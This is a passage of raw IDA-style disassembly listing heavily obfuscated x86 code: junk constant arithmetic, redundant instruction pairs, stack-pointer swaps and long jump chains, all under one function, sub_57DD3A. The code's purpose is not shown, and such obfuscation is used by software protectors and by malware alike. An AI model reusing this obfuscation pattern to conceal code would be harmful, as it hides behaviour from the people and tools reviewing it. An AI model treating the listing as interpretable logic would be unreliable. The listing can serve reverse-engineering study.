--------------------------------------------------------------------------- loc_58EE1D: ; CODE XREF: sub_57DD3A+247C6j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_58EE22: ; CODE XREF: sub_57DD3A+12210j push esp jmp loc_594DEE ; --------------------------------------------------------------------------- loc_58EE28: ; CODE XREF: sub_57DD3A+23D00j push 1DB2h mov [esp+2Ah+var_2A], edx jmp loc_593448 ; --------------------------------------------------------------------------- loc_58EE35: ; CODE XREF: sub_57DD3A+1ADC0j mov edi, 0A75600Fh push 455h mov [esp+2Eh+var_2E], ebp mov ebp, 0 add ebp, 554F4EFFh jmp loc_59FB57 ; --------------------------------------------------------------------------- loc_58EE52: ; CODE XREF: sub_57DD3A+1B318j mov eax, 67186B57h push edx mov edx, 63BB6011h sub eax, edx pop edx xchg eax, esi neg esi xchg eax, esi xor eax, 55006942h shl eax, 8 jmp loc_59A296 ; --------------------------------------------------------------------------- loc_58EE71: ; CODE XREF: sub_57DD3A+185E2j dec edx xor edx, 5AC7120Fh add edx, 4AAE173Ah shr edx, 5 shl edx, 8 jmp loc_595F29 ; --------------------------------------------------------------------------- loc_58EE89: ; CODE XREF: sub_57DD3A+24F84j add esi, 3A4E1485h jmp loc_58F29E ; --------------------------------------------------------------------------- loc_58EE94: ; CODE XREF: sub_57DD3A+21454j push 2B62h mov [esp+32h+var_32], esi jmp loc_59A001 ; --------------------------------------------------------------------------- loc_58EEA1: ; CODE XREF: sub_57DD3A+22E84j push 1C7h mov [esp+36h+var_36], eax mov eax, 0 add eax, edx xor [eax], ebx pop eax mov edx, [esp+32h+var_32] add esp, 4 xor ebx, [edi+24h] jmp loc_596681 ; --------------------------------------------------------------------------- loc_58EEC1: ; CODE XREF: sub_57DD3A+1A7E9j pop eax sub esp, 4 mov [esp+2Eh+var_2E], edi push esp pop edi add edi, 4 push 7DF2h mov [esp+32h+var_32], ecx push esi jmp loc_596744 ; --------------------------------------------------------------------------- loc_58EEE1: ; CODE XREF: sub_57DD3A+24947j bt [esp+36h+var_36], eax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_58EEEB: ; CODE XREF: sub_57DD3A+143CBj and ecx, 43697B25h sub ecx, 0E96C1910h mov eax, ecx jmp loc_59FCE2 ; --------------------------------------------------------------------------- loc_58EEFE: ; CODE XREF: sub_57DD3A+23497j add esp, 4 shl edx, 4 add edx, 748666B1h inc edx jmp loc_59B678 ; --------------------------------------------------------------------------- loc_58EF13: ; CODE XREF: sub_57DD3A+1E101j sub eax, ecx jmp loc_591687 ; --------------------------------------------------------------------------- loc_58EF1A: ; CODE XREF: sub_57DD3A+1B3C7j push 4143h mov [esp+3Ah+var_3A], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+3Ah+var_3A] jmp loc_59783B ; --------------------------------------------------------------------------- loc_58EF35: ; CODE XREF: sub_57DD3A+23FACj push edi jmp loc_599E32 ; --------------------------------------------------------------------------- loc_58EF3B: ; CODE XREF: sub_57DD3A+1AB7Fj pop [esp+3Eh+var_3E] pop esp shr eax, 0Ch jmp loc_58E5B8 ; --------------------------------------------------------------------------- loc_58EF47: ; CODE XREF: sub_57DD3A+1726Cj not edi not edi push ebp mov ebp, 5FC2276Bh or ebp, 33625C0Fh dec ebp inc ebp add ebp, 4F2716C6h sub ebp, 7A0A36F3h add edi, ebp pop ebp jmp loc_5A31F8 ; --------------------------------------------------------------------------- loc_58EF6D: ; CODE XREF: sub_57DD3A+1DE8Cj push 74106232h pop ebx or ebx, 5727580Dh xor ebx, 77377A3Bh mov ebp, ebx jmp loc_59E44B ; --------------------------------------------------------------------------- loc_58EF86: ; CODE XREF: sub_57DD3A+11D52j push ebp jmp loc_58FB51 ; --------------------------------------------------------------------------- loc_58EF8C: ; CODE XREF: sub_57DD3A+16BB5j pop edi jmp loc_59CA1A ; --------------------------------------------------------------------------- loc_58EF92: ; CODE XREF: sub_57DD3A+1ECDBj push ebp jmp loc_59E66F ; --------------------------------------------------------------------------- loc_58EF98: ; CODE XREF: sub_57DD3A+17159j mov [esp+3Ah+var_3A], edx push eax jmp loc_59AE4D ; --------------------------------------------------------------------------- loc_58EFA1: ; CODE XREF: sub_57DD3A+1A572j push ecx mov ecx, 8AE03F4h xchg esi, ecx not esi xchg esi, ecx neg ecx sub ecx, 6C690604h sub ecx, 809AE7C0h push eax mov eax, 3AB06318h and eax, 1EB333F6h add eax, 28EA2A6Fh and eax, 5C392F7Ch jmp loc_599DCD ; --------------------------------------------------------------------------- loc_58EFD5: ; CODE XREF: sub_57DD3A+134DEj shr ebx, 5 jmp loc_59E22E ; --------------------------------------------------------------------------- loc_58EFDD: ; CODE XREF: sub_57DD3A+16E4Fj or ecx, ebx pop ebx push edi jmp loc_59C927 ; --------------------------------------------------------------------------- push small 5AD1h mov [esp+0], bx jmp loc_59B373 ; --------------------------------------------------------------------------- loc_58EFF3: ; CODE XREF: sub_57DD3A+1B6E7j push 3BE93C91h pop ebp xor ebp, 3BE93C95h push ebp pop esi pop ebp add ebp, esi pop esi jmp loc_59085B ; --------------------------------------------------------------------------- loc_58F00A: ; CODE XREF: sub_57DD3A+1F241j add edi, 4 jmp loc_59B63B ; --------------------------------------------------------------------------- loc_58F015: ; CODE XREF: sub_57DD3A+1E1CEj mov esp, [esp+40h+var_42+2] jmp loc_5911D8 ; --------------------------------------------------------------------------- loc_58F01D: ; CODE XREF: sub_57DD3A+13C26j not eax sub eax, 0D4EC1D03h mov ecx, eax pop eax add edi, ecx pop ecx sub edi, 4 xchg edi, [esp+38h+var_3A+2] pop esp jmp loc_59D54B ; --------------------------------------------------------------------------- loc_58F036: ; CODE XREF: sub_57DD3A+18D25j mov [esp+34h+var_36+2], ecx mov ecx, 4 add edi, ecx pop ecx push ebp push ebx mov ebx, 4 jmp loc_58F717 ; --------------------------------------------------------------------------- loc_58F04D: ; CODE XREF: sub_57DD3A+19F59j push ebx push [esp+3Ch+var_3A+2] pop ebx jmp loc_598646 ; --------------------------------------------------------------------------- loc_58F058: ; CODE XREF: sub_57DD3A+215B4j pop eax push edx mov edx, 4 add eax, edx jmp loc_5926E4 ; --------------------------------------------------------------------------- loc_58F066: ; CODE XREF: sub_57DD3A+16E20j shr edx, 4 not edx sub edx, 34BF0B9Dh jmp loc_594BCC ; --------------------------------------------------------------------------- loc_58F076: ; CODE XREF: sub_57DD3A+1AFD5j pop ecx jmp loc_59C8FE ; --------------------------------------------------------------------------- loc_58F07C: ; CODE XREF: sub_57DD3A+1DC7Aj sub [esp+38h+var_36+2], 5DB23B3Fh jmp loc_5A2A1C ; --------------------------------------------------------------------------- loc_58F089: ; CODE XREF: sub_57DD3A+122A2j push esi push edx jmp loc_59C3C3 ; --------------------------------------------------------------------------- loc_58F090: ; CODE XREF: sub_57DD3A+18DF5j mov eax, 7B387895h jmp loc_58F3B6 ; --------------------------------------------------------------------------- loc_58F09A: ; CODE XREF: sub_57DD3A+1FFC6j push edi mov edi, 18F47942h xor ebx, edi pop edi pop edx jmp loc_594466 ; --------------------------------------------------------------------------- loc_58F0A9: ; CODE XREF: sub_57DD3A+227C6j mov edi, [esp+3Ch+var_3E+2] add esp, 4 sub esp, 4 mov [esp+3Ch+var_3E+2], eax mov eax, 3B936394h add ecx, eax pop eax sub ecx, esi sub ecx, 3B936394h add ecx, 156433D2h mov esi, [esp+38h+var_3A+2] add esp, 4 sub esp, 4 mov [esp+38h+var_3A+2], ecx push [esp+38h+var_36+2] mov ecx, [esp+3Ch+var_3E+2] jmp loc_597B4E ; --------------------------------------------------------------------------- loc_58F0EC: ; CODE XREF: sub_57DD3A+1ADB8j mov [esp+3Ch+var_3E+2], eax push ecx jmp loc_5A0529 ; --------------------------------------------------------------------------- loc_58F0F5: ; CODE XREF: sub_57DD3A+24F1Aj push [esp+40h+var_42+2] pop eax push ecx mov ecx, esp push ebx mov ebx, 557D6852h not ebx sub ebx, 0AA8297A9h jmp loc_5A0A09 ; --------------------------------------------------------------------------- loc_58F10F: ; CODE XREF: sub_57DD3A+1CD5Fj pop dx neg dx neg dx add dx, 7293h add bx, dx mov edx, [esp+46h+var_46] add esp, 4 jmp loc_59D1D3 ; --------------------------------------------------------------------------- loc_58F12A: ; CODE XREF: sub_57DD3A+1CBD2j mov ebx, edx jmp loc_5900A1 ; --------------------------------------------------------------------------- loc_58F131: ; CODE XREF: sub_57DD3A+23471j mov eax, 58512BEAh or eax, 14B32C36h jmp loc_58F927 ; --------------------------------------------------------------------------- loc_58F140: ; CODE XREF: sub_57DD3A+22868j mov ebx, ecx jmp loc_59F300 ; --------------------------------------------------------------------------- loc_58F147: ; CODE XREF: sub_57DD3A+1E548j push 7009h mov [esp+46h+var_46], ebx push ecx jmp loc_59C4D5 ; --------------------------------------------------------------------------- loc_58F155: ; CODE XREF: sub_57DD3A+19F90j mov ecx, 4 sub eax, 13474E94h push ecx mov ecx, 3A442AEAh jmp loc_59877F ; --------------------------------------------------------------------------- loc_58F16A: ; CODE XREF: sub_57DD3A+23010j add esi, 0B3DCC4BEh jmp loc_59B8CA ; --------------------------------------------------------------------------- loc_58F175: ; CODE XREF: sub_57DD3A+1A33Fj add eax, 4 push 32DEh mov [esp+52h+var_54+2], ebp push 0B55h jmp loc_590110 ; --------------------------------------------------------------------------- loc_58F18C: ; CODE XREF: sub_57DD3A+24371j add ebp, edx pop edx push edx jmp loc_5981C7 ; --------------------------------------------------------------------------- loc_58F195: ; CODE XREF: sub_57DD3A+1E91Fj push 182Eh jmp loc_594735 ; --------------------------------------------------------------------------- loc_58F19F: ; CODE XREF: sub_57DD3A+10C92j or edx, eax shl edx, 1 push dword ptr [edi+24h] push esi push 5F57h mov [esp+0Ch+var_E+2], esp add [esp+0Ch+var_E+2], 4 pop esi push eax jmp loc_5940A4 ; --------------------------------------------------------------------------- loc_58F1BD: ; CODE XREF: sub_57DD3A+1E110j push 12B2h mov [esp+10h+var_12+2], ebx mov bl, dh mov ch, bl pop ebx jmp loc_59F60C ; --------------------------------------------------------------------------- loc_58F1CF: ; CODE XREF: sub_57DD3A+1786Bj mov esi, esp push 1504h jmp loc_59FFD8 ; --------------------------------------------------------------------------- loc_58F1DB: ; CODE XREF: sub_57DD3A+1E8F2j push esp push [esp+14h+var_16+2] pop ebp add esp, 4 add ebp, 4 add ebp, 4 sub esp, 4 mov [esp+14h+var_16+2], ebp jmp loc_59F3B4 ; --------------------------------------------------------------------------- loc_58F1F7: ; CODE XREF: sub_57DD3A+179E6j mov edx, 35D210F3h xor edx, 21936289h sub eax, 68C90D3Eh add eax, edx add eax, 68C90D3Eh mov edx, [esp+14h+var_16+2] jmp loc_5961C1 ; --------------------------------------------------------------------------- loc_58F216: ; CODE XREF: sub_57DD3A+164B7j pop esi pop ecx push 3D3Fh jmp loc_59DE2F ; --------------------------------------------------------------------------- loc_58F222: ; CODE XREF: sub_57DD3A+1B29Dj mov dh, 0B8h not dh inc dh not dh add dh, 0FAh jmp loc_593355 ; --------------------------------------------------------------------------- loc_58F232: ; CODE XREF: sub_57DD3A+1E1A8j sub eax, 5110560Dh add eax, edi push ebx mov ebx, 68D477D3h sub ebx, 6AF46379h add ebx, 4B76013Bh inc ebx jmp loc_59EED5 ; --------------------------------------------------------------------------- loc_58F251: ; CODE XREF: sub_57DD3A+214A6j push 3DFB6DC2h pop esi and esi, 76147260h shr esi, 7 add esi, 5A880D77h push esi pop eax pop esi mov ebp, 0D2EC2337h jmp loc_59B37D ; --------------------------------------------------------------------------- loc_58F273: ; CODE XREF: sub_57DD3A+13637j mov dh, 0ADh sub dh, 8Ah dec dh not dh jmp loc_595E66 ; --------------------------------------------------------------------------- loc_58F281: ; CODE XREF: sub_57DD3A+1F0F4j mov [esp+10h+var_12+2], edx mov edx, ecx mov ebx, edx pop edx push [esp+0Ch+var_E+2] pop ecx add esp, 4 add esi, ebx pop ebx push esi push [esp+8+var_4] pop esi jmp loc_592857 ; --------------------------------------------------------------------------- loc_58F29E: ; CODE XREF: sub_57DD3A+11155j add eax, esi jmp loc_59F5A5 ; --------------------------------------------------------------------------- loc_58F2A5: ; CODE XREF: sub_57DD3A+17E2Aj sub esp, 4 jmp loc_5A1E4B ; --------------------------------------------------------------------------- loc_58F2B0: ; CODE XREF: sub_57DD3A+1784Aj neg ecx xor ecx, 94D8D431h jmp loc_58FD36 ; --------------------------------------------------------------------------- loc_58F2BD: ; CODE XREF: sub_57DD3A+13BECj add ebp, 78E30566h add ebp, eax sub ebp, 78E30566h push [esp+32h+var_32] pop eax push ebp mov ebp, esp push eax jmp loc_597A29 ; --------------------------------------------------------------------------- loc_58F2D8: ; CODE XREF: sub_57DD3A+1AF80j xor [esp+3Ah+var_3A], edi xor edi, [esp+3Ah+var_3A] mov esp, [esp+3Ah+var_3A] push 5874h mov [esp+3Eh+var_3E], ebp mov ebp, 5DD93EE6h push eax push edx mov edx, 0B6706D7h mov eax, edx pop edx shl eax, 6 add eax, 0FFFFFFFFh xor eax, 64F2C03h shl eax, 4 push 0 sub [esp+46h+var_46], eax jmp loc_595ABC ; --------------------------------------------------------------------------- loc_58F315: ; CODE XREF: sub_57DD3A+17CC0j pop eax push esi mov esi, 415250ACh shr esi, 7 or esi, 159F1385h add esi, 577B6AD7h sub eax, esi jmp loc_58E75D ; --------------------------------------------------------------------------- loc_58F332: ; CODE XREF: sub_57DD3A+10F59j mov edi, 2 sub eax, 20840F02h add eax, edi push 11A6h jmp loc_594835 ; --------------------------------------------------------------------------- loc_58F348: ; CODE XREF: sub_57DD3A+1D9A0j add esp, 4 movzx eax, al push dword ptr [edi+eax*4] add [esp+22h+var_22], 4C3F34E3h push [esp+22h+var_22] jmp loc_59187D ; --------------------------------------------------------------------------- loc_58F363: ; CODE XREF: sub_57DD3A+229ACj pop eax or eax, 656C591Dh add eax, 6D1947F0h push ecx mov ecx, 6CA144EBh sub eax, ecx pop ecx mov ebp, eax pop eax xor eax, ebp mov ebp, [esp+1Eh+var_1E] add esp, 4 push 5716h mov [esp+1Eh+var_1E], esi jmp loc_5A1CCA ; --------------------------------------------------------------------------- loc_58F392: ; CODE XREF: sub_57DD3A+18F52j push 205Ch mov [esp+22h+var_22], ecx push esp pop ecx add ecx, 4 push 7D54h mov [esp+26h+var_26], ebp push edx mov edx, 77265CC5h push edx jmp loc_59722C ; --------------------------------------------------------------------------- loc_58F3B6: ; CODE XREF: sub_57DD3A+1135Bj neg eax add eax, 38B93D3Fh jmp loc_5A0AD3 ; --------------------------------------------------------------------------- loc_58F3C2: ; CODE XREF: sub_57DD3A+253B6j push eax mov eax, 14084A55h add edx, eax pop eax pop ecx jmp loc_59B4A5 ; --------------------------------------------------------------------------- loc_58F3D1: ; CODE XREF: sub_57DD3A+1B687j push 40h jmp loc_59CB54 ; --------------------------------------------------------------------------- loc_58F3DB: ; CODE XREF: sub_57DD3A+21DCAj pop esi sub esp, 4 mov [esp+40h+var_42+2], edi mov edi, 1A41ACEh add edx, edi pop edi push ebp jmp loc_59DBD8 ; --------------------------------------------------------------------------- push [esp+40h+var_42+2] pop eax push ebp push esp push dword ptr [esp] pop ebp add esp, 4 sub esp, 4 mov [esp], esi jmp loc_596D24 ; --------------------------------------------------------------------------- loc_58F40B: ; CODE XREF: sub_57DD3A+1C4F6j add ecx, 0AC0B7552h add edi, 132002E2h jmp loc_59A8D1 ; --------------------------------------------------------------------------- loc_58F41C: ; CODE XREF: sub_57DD3A+2009Bj pop ebp mov ebx, edi pop edi push edi jmp loc_593F1C ; --------------------------------------------------------------------------- loc_58F426: ; CODE XREF: sub_57DD3A+1D294j pop ecx push edx xor [esp+44h+var_46+2], 669B0A55h jmp loc_591479 ; --------------------------------------------------------------------------- loc_58F434: ; CODE XREF: sub_57DD3A+132D9j mov ecx, esp add ecx, 4 add ecx, 4 push ebp push esp pop ebp add ebp, 4 jmp loc_59543A ; --------------------------------------------------------------------------- loc_58F44D: ; CODE XREF: sub_57DD3A+23874j mov [esp+0], esi push esp pop esi jmp loc_59D2B3 ; --------------------------------------------------------------------------- loc_58F457: ; CODE XREF: sub_57DD3A+23021j neg ebx jmp loc_599444 ; --------------------------------------------------------------------------- loc_58F45E: ; CODE XREF: sub_57DD3A+1E379j sub [edi+24h], esi push dword ptr [esp+0] pop esi push ecx jmp loc_58FE85 ; --------------------------------------------------------------------------- loc_58F46B: ; CODE XREF: sub_57DD3A+19AB9j mov esi, 70742FBBh xor esi, 14DE1C57h push edx push ebx mov ebx, 2CEA2EA9h shr ebx, 6 and ebx, 187648Ah sub ebx, 0F0BEB96Fh mov edx, ebx pop ebx shl edx, 8 xor edx, 0D02B151Ah sub esi, edx jmp loc_5941E8 ; --------------------------------------------------------------------------- loc_58F49F: ; CODE XREF: sub_57DD3A+118A6j mov [esp+50h+var_50], edi sub esp, 4 mov [esp+54h+var_54], ebp push 3DF93051h pop ebp dec ebp jmp loc_5A0028 ; --------------------------------------------------------------------------- loc_58F4B7: ; CODE XREF: sub_57DD3A+178D1j sub ah, 38h xor ah, 0Eh add dh, ah jmp loc_59DDF8 ; --------------------------------------------------------------------------- loc_58F4C4: ; CODE XREF: sub_57DD3A+1F41Dj mov edx, 971449Ah push ebp mov ebp, 2BD73758h or ebp, 2F476364h add ebp, 4AF440Fh jmp loc_595092 ; --------------------------------------------------------------------------- loc_58F4E0: ; CODE XREF: sub_57DD3A+23F57j push 331Fh mov [esp+5Ch+var_5C], ebx mov ebx, 66B7727h push 551Ch mov [esp+60h+var_60], edi mov edi, esp push ecx mov ecx, 331336A8h sub ecx, 331336A4h jmp loc_593B0F ; --------------------------------------------------------------------------- loc_58F508: ; CODE XREF: sub_57DD3A+154D8j add esi, 1E585713h pop ebx jmp loc_5A1681 ; --------------------------------------------------------------------------- loc_58F514: ; CODE XREF: sub_57DD3A+1D67Fj add esp, 4 push ebx jmp loc_590AD9 ; --------------------------------------------------------------------------- loc_58F51D: ; CODE XREF: sub_57DD3A+203D1j mov [esp+60h+var_60], ecx mov cl, 99h mov dh, cl pop ecx push 63A9h mov [esp+60h+var_60], eax jmp loc_5A0823 ; --------------------------------------------------------------------------- loc_58F532: ; CODE XREF: sub_57DD3A+1DCAAj add ebp, ecx pop ecx jmp loc_5916D1 ; --------------------------------------------------------------------------- loc_58F53A: ; CODE XREF: sub_57DD3A+23927j sub ebx, 53F569FAh or ebx, 1D1A2FF8h add ebx, 0C0841006h jmp loc_595276 ; --------------------------------------------------------------------------- loc_58F551: ; CODE XREF: sub_57DD3A+23DADj push edx push edi jmp loc_596520 ; --------------------------------------------------------------------------- loc_58F558: ; CODE XREF: sub_57DD3A+206B3j mov [esp+64h+var_64], edx jmp loc_5A1082 ; --------------------------------------------------------------------------- loc_58F560: ; CODE XREF: sub_57DD3A+23DD0j push [esp+64h+var_60] push [esp+68h+var_68] pop ecx jmp loc_58E65C ; --------------------------------------------------------------------------- loc_58F56D: ; CODE XREF: sub_57DD3A+1A448j pop esp push edx sub esp, 4 mov [esp+6Ch+var_6C], edi mov edi, esp push ecx mov ecx, 7ACD3723h and ecx, 7A7A10AFh sub ecx, 553C397Dh sub ecx, 250BD6A2h jmp loc_591EBD ; --------------------------------------------------------------------------- loc_58F597: ; CODE XREF: sub_57DD3A+1DF4Cj mov eax, ebx pop ebx push eax mov eax, 101932BEh add edi, eax pop eax sub edi, eax push 4993h mov [esp+70h+var_70], esi mov esi, 7226004Eh sub esi, 4A66637Ch sub esi, 54797F0Eh dec esi jmp loc_5910FF ; --------------------------------------------------------------------------- loc_58F5C4: ; CODE XREF: sub_57DD3A+21113j push [esp+70h+var_70] mov eax, [esp+74h+var_74] add esp, 4 jmp loc_598260 ; --------------------------------------------------------------------------- loc_58F5D5: ; CODE XREF: sub_57DD3A+19D33j add esp, 4 push 17EFh jmp loc_58F49F ; --------------------------------------------------------------------------- loc_58F5E5: ; CODE XREF: sub_57DD3A+16AE6j add edi, eax pop eax push ebp mov ebp, offset byte_5F4505 xor ebp, 2BF81894h xor ebp, 8DC5035h add edi, ebp mov ebp, [esp+70h+var_70] add esp, 4 jmp loc_59597E ; --------------------------------------------------------------------------- loc_58F607: ; CODE XREF: sub_57DD3A+16149j dec ebp sub esp, 4 mov [esp+70h+var_70], ecx mov ecx, 4053BCCh xor ebp, ecx jmp loc_598CE4 ; --------------------------------------------------------------------------- loc_58F61A: ; CODE XREF: sub_57DD3A+125B5j mov esi, 382E2F75h xor esi, 387A69C8h shl esi, 5 dec esi not esi sub esi, 8080D233h add ecx, esi mov esi, [esp+70h+var_70] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+74h+var_74] pop esp pop ebx push edi push ecx push 1DCB5AE4h mov ecx, [esp+78h+var_78] add esp, 4 sub ecx, 6AA80CE5h shr ecx, 1 xor ecx, 5991A6FBh jmp loc_591DF3 ; --------------------------------------------------------------------------- loc_58F667: ; CODE XREF: sub_57DD3A+12CDCj mov [esp+74h+var_74], edx mov edx, 2BDD6874h add edx, 7149354Dh push 5013h mov [esp+78h+var_78], esi mov esi, 5C176158h jmp loc_59275D ; --------------------------------------------------------------------------- loc_58F687: ; CODE XREF: sub_57DD3A+1E699j push 6AFEh mov [esp+7Ch+var_7C], ecx push [esp+7Ch+var_78] mov ecx, [esp+80h+var_80] jmp loc_5A1003 ; --------------------------------------------------------------------------- loc_58F69B: ; CODE XREF: sub_57DD3A+20088j dec ecx xor ecx, 79BA1A00h sub ecx, 798A1A81h jmp loc_58F818 ; --------------------------------------------------------------------------- loc_58F6AD: ; CODE XREF: sub_57DD3A+17E4Cj sub bl, 74h sub bl, 22h shl bl, 6 add bl, 8Fh push cx mov ch, 0F2h add al, ch pop cx jmp loc_594480 ; --------------------------------------------------------------------------- loc_58F6C6: ; CODE XREF: sub_57DD3A+2541Bj add esi, 0CA85908Ah mov eax, esi pop esi push eax jmp loc_598BE3 ; --------------------------------------------------------------------------- loc_58F6D5: ; CODE XREF: sub_57DD3A+21012j and eax, ebx push [esp+80h+var_80] mov ebx, [esp+84h+var_84] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+84h+var_84] pop esp or edx, eax jmp loc_59C0B8 ; --------------------------------------------------------------------------- loc_58F6F6: ; CODE XREF: sub_57DD3A+14AAFj push [esp+80h+var_80] jmp loc_59E3C4 ; --------------------------------------------------------------------------- loc_58F6FE: ; CODE XREF: sub_57DD3A+15187j mov esi, 26581BBDh dec esi jmp loc_599237 ; --------------------------------------------------------------------------- loc_58F709: ; CODE XREF: sub_57DD3A+15F53j mov bx, word ptr [esp+84h+var_84] push 3354h jmp loc_5940EE ; --------------------------------------------------------------------------- loc_58F717: ; CODE XREF: sub_57DD3A+1130Ej mov ebp, ebx pop ebx sub edi, 3AAD761Fh add edi, ebp add edi, 3AAD761Fh jmp loc_5A1CEB ; --------------------------------------------------------------------------- loc_58F72D: ; CODE XREF: sub_57DD3A+14A3Aj push esp pop ecx push ebp mov ebp, 4 add ecx, ebp pop ebp add ecx, 4 xchg ecx, [esp+34h+var_36+2] pop esp push 188Ch mov [esp+34h+var_36+2], edi push 1885h push esp jmp loc_5998D6 ; --------------------------------------------------------------------------- loc_58F755: ; CODE XREF: sub_57DD3A+1904Fj sub esp, 2 mov word ptr [esp+40h+var_42+2], cx push 155Fh mov [esp+44h+var_46+2], edx mov dl, 89h jmp loc_5A08DB ; --------------------------------------------------------------------------- loc_58F76E: ; CODE XREF: sub_57DD3A+17137j or eax, 505623DAh sub eax, 2A8B03DDh xor edx, eax jmp loc_59AABD ; --------------------------------------------------------------------------- loc_58F77F: ; CODE XREF: sub_57DD3A+1DE2Cj xchg edx, [esp+44h+var_46+2] pop esp add bh, 1 shr bh, 1 push small 1F3h mov word ptr [esp+42h+var_42], dx jmp loc_5A1813 ; --------------------------------------------------------------------------- loc_58F795: ; CODE XREF: sub_57DD3A+1DB5Bj pop ecx push 2155h mov [esp+42h+var_42], ebp sub esp, 4 mov [esp+46h+var_46], edi jmp loc_593CC1 ; --------------------------------------------------------------------------- loc_58F7A9: ; CODE XREF: sub_57DD3A+123FFj xor edx, [esp+46h+var_46] xor [esp+46h+var_46], edx xor edx, [esp+46h+var_46] jmp loc_59C918 ; --------------------------------------------------------------------------- loc_58F7B7: ; CODE XREF: sub_57DD3A+1971Cj push ebx mov ebx, 5D5A19A1h mov ebp, ebx mov ebx, [esp+4Ah+var_4C+2] add esp, 4 add ebp, 0CF99046Eh mov eax, ebp pop ebp dec eax push ebx mov ebx, 319D4BD3h add ebx, 0F430D7EBh add eax, ebx pop ebx add eax, 54B177A8h or eax, 6A827DA7h push ebx jmp loc_5989F5 ; --------------------------------------------------------------------------- loc_58F7F1: ; CODE XREF: sub_57DD3A+14E6Ej push ebp mov ebp, 7513B4Eh neg ebp shr ebp, 2 jmp loc_5921EA ; --------------------------------------------------------------------------- loc_58F801: ; CODE XREF: sub_57DD3A+20816j sub edi, esi pop esi pop eax xchg edi, [esp+42h+var_42] mov esp, [esp+42h+var_42] mov word ptr [esp+42h+var_42], cx movzx cx, al jmp loc_591858 ; --------------------------------------------------------------------------- loc_58F818: ; CODE XREF: sub_57DD3A+1196Ej add ecx, eax push edi mov edi, 26E277F2h jmp loc_597212 ; --------------------------------------------------------------------------- loc_58F825: ; CODE XREF: sub_57DD3A+22A27j mov edx, esp add edx, 4 add edx, 4 jmp loc_5A27C2 ; --------------------------------------------------------------------------- loc_58F838: ; CODE XREF: sub_57DD3A+19313j add ebp, 4CB9701Dh pop edx and eax, ebp jmp loc_58FE3D ; --------------------------------------------------------------------------- loc_58F846: ; CODE XREF: sub_57DD3A+23F09j mov ebx, 4 add edi, 6A2F62E5h sub edi, ebx sub edi, 6A2F62E5h push [esp+80h+var_80] jmp loc_59F2D0 ; --------------------------------------------------------------------------- loc_58F861: ; CODE XREF: sub_57DD3A+163FEj add edi, 4 jmp loc_59B710 ; --------------------------------------------------------------------------- loc_58F86C: ; CODE XREF: sub_57DD3A+2198Dj pop ebx mov ecx, [esp+80h+var_80] add esp, 4 add eax, 2 xor eax, [esp+7Ch+var_7C] xor [esp+7Ch+var_7C], eax xor eax, [esp+7Ch+var_7C] mov esp, [esp+7Ch+var_7C] mov ax, word ptr [esp+7Ch+var_7C] push edi sub esp, 4 mov [esp+84h+var_84], esp add [esp+84h+var_84], 4 mov edi, [esp+84h+var_84] add esp, 4 push eax mov eax, esp add eax, 4 jmp loc_597607 ; --------------------------------------------------------------------------- loc_58F8A6: ; CODE XREF: sub_57DD3A+16774j mov edi, eax mov ecx, edi pop edi pop eax pop edi sub [edi+24h], ecx pop ecx xor edx, edx jmp loc_597FAF ; --------------------------------------------------------------------------- loc_58F8B8: ; CODE XREF: sub_57DD3A+249E4j pop ecx mov ebx, [esp+70h+var_70] push ebp push esp pop ebp push 5F26h mov [esp+78h+var_78], edx push 4 pop edx add ebp, edx jmp loc_5986F2 ; --------------------------------------------------------------------------- loc_58F8D4: ; CODE XREF: sub_57DD3A+12A45j inc ebp jmp loc_597749 ; --------------------------------------------------------------------------- loc_58F8DA: ; CODE XREF: sub_57DD3A+15C9Cj add esp, 4 jmp loc_59F439 ; --------------------------------------------------------------------------- loc_58F8E2: ; CODE XREF: sub_57DD3A+1D9B6j mov edi, 4 add ebp, edi pop edi push ebx mov ebx, 48F43730h push edi mov edi, 280A4312h not edi jmp loc_59E4B2 ; --------------------------------------------------------------------------- loc_58F8FD: ; CODE XREF: sub_57DD3A+203B4j mov esp, [esp+78h+var_78] mov [esp+78h+var_78], ebp jmp loc_59237A ; --------------------------------------------------------------------------- loc_58F908: ; CODE XREF: sub_57DD3A+1D739j pop esp sub esp, 4 mov [esp+78h+var_78], ebx push esi jmp loc_5A03E3 ; --------------------------------------------------------------------------- loc_58F915: ; CODE XREF: sub_57DD3A+2471Ej sub edi, ecx mov ecx, [esp+7Ch+var_7C] add esp, 4 add edx, edi jmp loc_598F5E ; --------------------------------------------------------------------------- loc_58F927: ; CODE XREF: sub_57DD3A+11401j not eax dec eax neg eax xor eax, 3ED9052Eh sub edi, eax jmp loc_59B0A2 ; --------------------------------------------------------------------------- loc_58F938: ; CODE XREF: sub_57DD3A+1EBD9j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+42h+var_42] pop esp jmp loc_59FAB7 ; --------------------------------------------------------------------------- loc_58F94F: ; CODE XREF: sub_57DD3A+1498Fj pop edx push edi jmp loc_5A1785 ; --------------------------------------------------------------------------- loc_58F956: ; CODE XREF: sub_57DD3A+1D5EAj add edx, 51D7E27Dh sub esi, edx mov edx, [esp+3Eh+var_3E] push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp+42h+var_42] jmp loc_59593D ; --------------------------------------------------------------------------- loc_58F975: ; CODE XREF: sub_57DD3A+17A6Dj xchg esi, [esp+42h+var_42] pop esp mov [esp+3Eh+var_3E], esi mov esi, esp push edx mov edx, esp jmp loc_5999E4 ; --------------------------------------------------------------------------- loc_58F986: ; CODE XREF: sub_57DD3A+1572Ej push [esp+42h+var_42] jmp loc_5967FE ; --------------------------------------------------------------------------- loc_58F98E: ; CODE XREF: sub_57DD3A+22D03j mov ebx, 12783E93h sub esi, ebx pop ebx not esi shl esi, 6 shl esi, 4 xor esi, 40AF5404h push ebx push ecx mov ecx, 5CA539DEh mov ebx, 7EC05108h sub ebx, ecx pop ecx jmp loc_59AEF7 ; --------------------------------------------------------------------------- loc_58F9B8: ; CODE XREF: sub_57DD3A+10B10j mov ecx, 63A3180Ch and ecx, 515A243Ah and ecx, 58214462h jmp loc_59095C ; --------------------------------------------------------------------------- loc_58F9CE: ; CODE XREF: sub_57DD3A+2469Cj mov edx, [esp+10h+var_12+2] jmp loc_59A58A ; --------------------------------------------------------------------------- loc_58F9D6: ; CODE XREF: sub_57DD3A+12B43j add eax, ebx jmp loc_595C83 ; 